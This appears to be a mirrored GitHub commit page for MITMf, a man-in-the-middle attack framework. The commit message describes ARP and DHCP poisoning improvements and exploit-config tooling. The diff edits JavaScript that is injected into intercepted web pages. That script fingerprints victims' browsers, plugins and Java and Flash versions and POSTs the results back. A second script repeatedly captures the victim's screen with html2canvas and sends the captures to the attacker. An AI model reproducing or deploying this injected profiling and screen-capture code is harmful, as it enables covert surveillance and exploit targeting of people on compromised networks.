mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-11 15:47:10 -07:00
This commit refactors ARP and DHCP poisoning:
DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements ARP poisoning has been optimized with and internal cache and some algo improvements cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has
This commit is contained in:
parent
5e2f30fb89
commit
ba14ed8687
35 changed files with 1082 additions and 676 deletions
|
@ -1260,6 +1260,12 @@ var PD = PluginDetect;
|
|||
//Set delimiter
|
||||
PD.getVersion(".");
|
||||
|
||||
//Get client Info
|
||||
data = os_detect.getVersion()
|
||||
|
||||
//Check to see if the UA is a lying bastard
|
||||
data['ua_is_lying'] = os_detect.ua_is_lying
|
||||
|
||||
//Try to get plugin list
|
||||
var pluginList = [];
|
||||
if (navigator.plugins) {
|
||||
|
@ -1270,30 +1276,24 @@ if (navigator.plugins) {
|
|||
}
|
||||
|
||||
if (pluginList.length > 0){
|
||||
data['pluginlist'] = pluginList;
|
||||
data['plugin_list'] = pluginList;
|
||||
}
|
||||
|
||||
//Check if java plugin is installed and/or enabled
|
||||
var javaEnabled = PD.isMinVersion('java');
|
||||
data['java'] = javaEnabled;
|
||||
//var javaEnabled = PD.isMinVersion('java');
|
||||
//data['java'] = javaEnabled;
|
||||
|
||||
//Get exact java plugin version
|
||||
var javaVersionString = PD.getVersion('java');
|
||||
data['java_v'] = javaVersionString;
|
||||
data['java'] = javaVersionString;
|
||||
|
||||
//Check if flash plugin is installed and/or enabled
|
||||
var flashEnabled = PD.isMinVersion('flash');
|
||||
data['flash'] = flashEnabled;
|
||||
//var flashEnabled = PD.isMinVersion('flash');
|
||||
//data['flash'] = flashEnabled;
|
||||
|
||||
//Get exact flash plugin version
|
||||
var flashVersionString = PD.getVersion('flash');
|
||||
data['flash_v'] = flashVersionString;
|
||||
|
||||
//Get client Info
|
||||
data['client_info'] = os_detect.getVersion()
|
||||
|
||||
//Check to see if the UA is a lying bastard
|
||||
data['client_info']['ua_is_lying'] = os_detect.ua_is_lying
|
||||
data['flash'] = flashVersionString;
|
||||
|
||||
xhr.open("POST", "clientprfl", true);
|
||||
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
|
||||
|
|
|
@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
|
|||
};
|
||||
}
|
||||
_html2canvas.Parse = function (images, options) {
|
||||
window.scroll(0,0);
|
||||
//window.scroll(0,0);
|
||||
|
||||
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
|
||||
numDraws = 0,
|
||||
|
@ -2871,8 +2871,10 @@ function grab() {
|
|||
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
|
||||
var x=encodeURIComponent(dat);
|
||||
xmlhttp.send(x);
|
||||
}
|
||||
});
|
||||
},
|
||||
width: screen.width,
|
||||
height: screen.height
|
||||
});
|
||||
}
|
||||
|
||||
setInterval(function(){grab()}, SECONDS_GO_HERE);
|
Loading…
Add table
Add a link
Reference in a new issue